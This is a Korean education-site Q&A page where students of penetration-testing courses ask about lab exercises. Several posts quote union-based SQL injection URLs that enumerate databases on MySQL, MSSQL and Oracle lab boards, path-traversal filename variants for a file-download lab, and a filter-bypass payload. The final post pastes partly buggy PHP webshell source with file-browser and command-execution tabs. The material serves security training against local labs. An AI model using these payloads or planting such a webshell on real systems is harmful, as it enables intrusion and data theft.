inflearn logo
강의

강의

N
챌린지

챌린지

멘토링

멘토링

N
클립

클립

로드맵

로드맵

지식공유

묻고 답해요

173만명의 커뮤니티!! 함께 토론해봐요.

33강 [실습4-1] 실무 사례 분석(1) 에 대한 질문이 사항이 있습니다.

해결됨

모의해킹 실무자가 알려주는, 파일 다운로드 취약점 공격 기법과 실무 사례 분석

안녕하세요. 크리핵티브 강사님 실습4-1 강의 진행 중에 오류 사항이 발생하여 질문 드리게 되었습니다. [공유해주신 환경 구성 현황] --> 현재 저는 공유해주신 자료(환경)를 C:\apache-tomcat-8.5.90-windows-x64\apache-tomcat-8.5.90\webapps\ROOT 폴더 아래에 압축을 해제 하였으며 강의 내용 대로 해당 디렉토리 이름을 practice로 변경 하였습니다. --> 환경의 동작 자체는 문제가 없었습니다. [문제상황] --> 해당 다운로드 버튼을 클릭해서 동작 시키면 --> 다운로드 코드가 그대로 나옵니다. --> burp suite에서 캡처를 해서 보면 그대로 다운로드 코드가 response로 오는 것을 알 수 있습니다. --> 강의 내용대로 ㅇ filename=/Chrysanthemum.jpg ㅇ filename=Chr/ysanthemum.jpg ㅇ filename=%5cChrysanthemum.jpg ㅇ filename=Chr%5cysanthemum.jpg 등등을 시도해도 동일하게 그냥 download 코드가 나오고 있습니다. --> 그래서 강의 내용을 그대로 수행해도 filedownload 실습을 진행하기가 어렵습니다. 참고로 강사님이 공유해주신 이미지 파일 위치는 수정하지 않았습니다. [실습 대상 이미지 파일 위치] --> practice -> prob1-> upload 아래에 Chrysanthemum.jpg 파일 위치 --> 어느 부분에서 문제가 발생한 것 이며 어디를 수정해야 하는지 가르쳐 주시면 감사하겠습니다.

  • 모의해킹
  • 크리핵티브
  • 파일다운로드취약점
고광우 댓글 1 좋아요 2 조회수 335

[실습 7-4, 7-5, 7-6] MySQL, MSSQL, Oracle union based 공격 실습 강의 이후 상세보기에서 순차적 데이터 호출 실습 질문

해결됨

모의해킹 실무자가 알려주는, SQL Injection 공격 기법과 시큐어 코딩 : PART 1

1) 실습 7-4 MySQL에서 상세보기 메뉴에서 순차적으로 데이터를 호출하기 위해 limit 절을 활용하였습니다. [실습 쿼리문] http://localhost/board/mysql/view.php?idx=7 and 1=2 union select null,schema_name,null,null,null,null,null from information_schema.schemata limit 2,1%23 [쿼리문 실행 결과] 1. 상세보기 page의 Title 컬럼에 login_example 을 확인 할 수 있었습니다. 2. limit 3,1을 하면 상세보기 page의 Title 컬럼에 mysql을 확인 할 수 있었습니다. 2) 실습 7-5 MSSQL에서 상세보기 메뉴에서 순차적으로 데이터를 호출하기 위해 not in과 서브쿼리문을 이용하였습니다. [실습쿼리문] http://localhost/board/mssql/view.php?idx=6 and 1=2 union all select null,name,null,null,null,null,null from master.sys.databases where name not in(select top 0 name from sysdatabases)-- [쿼리문 실행 결과] 1. 상세보기 page의 Title 컬럼에 master 를 확인 할 수 있었습니다. 2. 서브쿼리의 top 0 대신 top 1으로 숫자를 올리면 tempdb라는 2번째 데이터베이스 이름을 확인 할 수 있었습니다. 3) 실습 7-6 Oracle에서 상세보기 메뉴에서 순차적으로 데이터를 호출하기 위해 rownum과 서브쿼리 기능을 이용했습니다. [실습쿼리문] http://localhost/board/oracle/view.php?idx=61 and 1=2 union all select null,table_name,null,null,null,null,null from(select rownum r, table_name from all_tables)tb where tb.r=2-- [쿼리문 실행결과] 1. 상세보기 page의 Title 컬럼에 SYSTEM_PRIVILEGE_MAP 두번재 table이름이 나온 것을 확인 할 수 있습니다. 질문1)강의 종료 후 제가 제대로 과제를 수행한건지 궁금합니다. 추가적으로 더 확인해 봐야 할 것이 있을 까요? 질문2) MSSQL에서 order by 정렬 기능이나 row_number()함수를 이용해서 순차적으로 출력하는 쿼리문을 만들 수 있을까요?(섹션 4에서 MSSQL에서 순차정렬이 가능한 여러 방법의 내용 처럼) --> 저는 아무리 생각해도 적절한 쿼리문이 떠오르지 않아서 질문드립니다.

  • 웹해킹
  • 크리핵티브
  • 모의해킹
  • sqlinjection
  • 인젝션
고광우 댓글 1 좋아요 1 조회수 334

[실습6-1]MSSQL ERROR-BASED 공격 실습 관련 질문 내용

해결됨

모의해킹 실무자가 알려주는, SQL Injection 공격 기법과 시큐어 코딩 : PART 1

안녕하세요. 크리핵티브님 MSSQL에 대한 Error-based 공격 실습 관련 질문 사항이 발생해서 질문 드리게 되었습니다. Injection 공격 검증을 할 때 사용하는 쿼리문 내용 중 test%' and '%'=' 구문이 있는데 이런 구문이 있는 이유가 index.php 의 내용을 보면 아래와 같은 코드로 만들어져서 있는 것으로 알고 있습니다. [index.php의 일부 코드] (생략) $query = "select * from {$tb_name}"; } else { if($search_type == "all") { $query = "select * from {$tb_name} where title like '%{$keyword}%' or writer like '%{$keyword}%' or content like '%{$keyword}%'"; } else { $query = "select * from {$tb_name} where {$search_type} like '%{$keyword}%'"; } --> 즉 우리가 입력한 test%' and '%'=' 은 if문 안에 들어가서 $query의 '%{$keyword}%'에 들어가게 되어서 최종적으로는 $query = "select * from board..tb_board where '%test%' and '%'='%'"; 이 되어서 test 이름이 들어간 모든 게시물을 보여주는 것으로 알고 있습니다. 공격 검증에 사용되는 test%' and '%'=' 구문은 현재 우리가 index.php의 $query의 내용을 알고 있어서 이렇게 test%' and '%'=' 작성 할 수 있지만 실제 실무에서도 이게 활용이 가능한지 궁금합니다. 혹시 대부분의 실무 환경도 $query = "select * from {$tb_name} where {$search_type} like '%{$keyword}%'"; 같은 구조로 개발이 되어서 대부분의 실무 환경에도 test%' and '%'=' 구문을 공격 검증 페이로드로 사용할 수 있는지 여부가 궁금합니다.

  • 웹해킹
  • sqlinjection
  • 모의해킹
  • 크리핵티브
  • 인젝션
고광우 댓글 1 좋아요 2 조회수 417

실습 환경 중 Oracle DB sys계정 정보 가르쳐 주실 수 있는지 궁금합니다.

미해결

모의해킹 실무자가 알려주는, SQL Injection 공격 기법과 시큐어 코딩 : PART 1

안녕하세요. 크리핵 티브님 제가 개인적으로 JDBC와 JSP를 이용한 개발 학습을 하려고 하는데 sysdba 권한이 있는 계정 접속이 필요합니다. 그래서 제공해주신 웹 환경의 Oracle DB의 sys계정의 password를 가르쳐 주셨으면 합니다. 확인 후 답변 부탁드리겠습니다. 감사합니다.

  • 크리핵티브
  • 웹해킹
  • 모의해킹
  • 인젝션
고광우 댓글 1 좋아요 1 조회수 329

LoS 문제풀이에서 질문

미해결

모의해킹 실무자가 알려주는, SQL Injection 공격 기법과 시큐어 코딩 : PART 1

안녕하세요. 크리핵 티브님 강사님 강의를 따라 들으면서 LoS 문제를 풀다가 php 코드에서 한가지 질문 사항이 생겼습니다. 대부분 LoS 문제에 보면 if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); <-- 이런 구문이 있는데 여기서 필터링 하는 대상 중 prob , _ . / i 를 필터링 한다고 하는데 prob는 무엇을 의미 하는지 모르겠습니다. 그냥 prob가 들어간 문자열을 필터링 한다고 알면 되나요? 아니면 prob가 들어간 어떤 기능의 SQL 구문을 필터링 한다고 알면 되나요?

  • 웹해킹
  • 크리핵티브
  • 모의해킹
  • 인젝션
고광우 댓글 1 좋아요 1 조회수 241

질문 있어요! 제발 해결해주세요

해결됨

Skill-Up! 배워서 바로 쓰는 웹쉘 제작

이 소스로 실행 해보면 Name,Type,Date,Action 부분 태이블에 아무것도 안 떠요 __________소스___________ <? header ( " Content-Type: text/html; charset=UTF-8 " ); $ mode = $ _REQUEST [ " mode " ]; $ path = $ _REQUEST [ " path " ]; $ page = basename ($ _SERVER [ " PHP_SELF " ]); if ( empty ($ path )){ $ tempFileName = basename ( __FILE__ ); $ tempPath = realpath ( __FILE__ ); $ path = str_replace ($ tempFileName , "" , $ tempPath ); $ path = str_replace ( "\\" , " / " , $ path ); } else { $ path = realpath ($ path ) ." / " ; $ path = str_replace ( "\\" , " / " , $ path ); } # Dir list retuurn function function getDirList ($ getPath ) { $ listArr = array (); $ handler = opendir ($ getPath ); while ($ file = readdir ($ handler )) { if ( is_dir ($ getPath . $ file ) == " 1 " ) { $ listArr [] = $ file ; } } closedir ($ handler ); return $ listArr ; } #File List return function function getFileList ($ getPath ) { $ listArr = array (); $ handler = opendir ($ getPath ); while ($ file = readdir ($ handler )) { if ( is_dir ($ getPath . $ file ) != " 1 " ) { $ listArr [] = $ file ; } } closedir ($ handler ); return $ listArr ; } ? > <! DOCTYPE html > < html lang = " ko " > < head > < title > Space_Pig; webshell </ title > <!-- 합쳐지고 최소화된 최신 CSS --> < link rel = " stylesheet " href = " https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css " > <!-- 부가적인 테마 --> < link rel = " stylesheet " href = " https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap-theme.min.css " > <!-- 합쳐지고 최소화된 최신 자바스크립트 --> < script src = " https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/js/bootstrap.min.js " ></ script > </ head > < body > < div class = " container-fluid " > < div class = " row " > < div class = " col-md-3 " ></ div > < div class = " col-md-6 " > < h3 > Webshell < small > Create by space_pig; </ small ></ h3 > < hr > < ul class = " nav nav-tabs " > < li role = " presentation " <? if ( empty ($ mode ) || $ mode == " fileBrowser " ) echo " class= \" active \"" ;? > >< a href = " <?= $ page ? > ?mode=fileBrowser " > File Browser </ a ></ li > < li role = " presentation " <? if ($ mode == " fileUpload " ) echo " class= \" active \"" ;? > >< a href = " <?= $ page ? > ?mode=fileupload " > File upload </ a ></ li > < li role = " presentation " <? if ($ mode == " command " ) echo " class= \" active \"" ;? > >< a href = " <?= $ page ? > ?mode=command " > Command Execustion </ a ></ li > < li role = " presentation " <? if ($ mode == " db " ) echo " class= \" active \"" ;? > >< a href = " <?= $ page ? > ?mode=db " > DB connector </ a ></ li > < li role = " presentation " >< a href = " <?= $ page ? > ?mode=logout " > Logout </ a ></ li > </ ul > < br > <? if ( empty ($ mode ) || $ mode == " fileBrowser " ) { ? > < form action = " <?= $ page ? > ?mode=fileBrowser " metho = " GET " > < div class = " input-group " > < span class = " input-group-addon " > Current Path </ span > < input type = " text " class = " form-control " placeholder = " Path Input... " name = " path " value = " <?= $ path ? > " > < span class = " input-group-btn " > < button class = " btn btn-default " type = " submit " > Move </ button > </ span > </ div > </ form > < hr > < div class = " table-responsive " > < table class = " table table-bordered table-hover " style = " table-layout: fixed; word-break: break-all; " > < thead > < tr class = " active " > < th style = " width: 50% " class = " text-center " > Name </ th > < th style = " width: 14% " class = " text-center " > Type </ th > < th style = " width: 18% " class = " text-center " > Date </ th > < th style = " width: 18% " class = " text-center " > Action </ th > </ tr > </ thead > < tbody > <? $ dirList = getDirList ($ path ); for ($ i = 0 ; $ i < count ($ dirList ); $ i ++) { if ($ dirList [$ i ] != " . " ) { $ dirDate = date ( " Y-m-d H:i " , filetime ($ path . $ dirList [$ i ])) ? > < tr > < td style = " vertical-align: middle " >< span class = " glyphicon glyphicon-folder-open " aria-hidden = " true " ></ span > %nbsp;%nbsp; <?= $ dirList [$ i ]? > </ td > < td style = " vertical-align: middle " class = " text-center " >< kbd > Directory </ kbd ></ td > < td style = " vertical-align: middle " class = " text-center " > <?= $ dirDate ? > </ td > < td style = " vertical-align: middle " class = " text-center " > <? if ($ dirList [$ i ] != " .. " ) { ? > < div class = " btn-group btn-group-sm " role = " group " aria-label = "" > < button type = " button " class = " btn btn-danger " title = " File Delete " >< span class = " glyphicon glyphicon-trash " aria-hidden = " true " ></ span ></ button > </ div > <? } ? > </ td > </ tr > <? } } ? > <? $ fileList = getFileList ($ path ); for ($ i = 0 ; $ i < count ($ fileList ); $ i ++); { $ fileDate = date ( " Y-m-d H:i " , filemtime ($ path . $ dirList [$ i ])); ? > < tr > < td style = " vertical-align: middle " >< span class = " glyphicon glyphicon-file " aria-hidden = " true " ></ span > <?= $ fileList [$ i ]? > </ td > < td style = " vertical-align: middle " class = " text-center " >< kbd > File </ kbd ></ td > < td style = " vertical-align: middle " class = " text-center " > <?= $ fileDate ? > </ td > < td style = " vertical-align: middle " class = " text-center " > < div class = " btn-group btn-group-sm " role = " group " aria-label = "" > < button type = " button " class = " btn btn-info " title = " File Download " >< span class = " glyphicon glyphicon-save " aria-hidden = " true " ></ span ></ button > < button type = " button " class = " btn btn-warning " title = " File Modify " >< span class = " glyphicon glyphicon-wrench " aria-hidden = " true " ></ span ></ button > < button type = " button " class = " btn btn-danger " title = " File Delete " >< span class = " glyphicon glyphicon-trash " aria-hidden = " true " ></ span ></ button > </ div > </ td > </ tr > <? } ? > </ tbody > </ table > </ div > <? } ? > < hr > < p class = " text-muted text-center " > Copyrightⓒ 2021, Space_pig, ALL rights reserved. </ p > </ div > < div class = " col-md-3 " ></ div > </ div > </ div > </ body > </ html >

  • 웹쉘
  • 질문
  • bootstrap
  • 웹셸
  • 크리핵티브
댓글 1 좋아요 2 조회수 292

인기 태그

인프런 TOP Writers

주간 인기글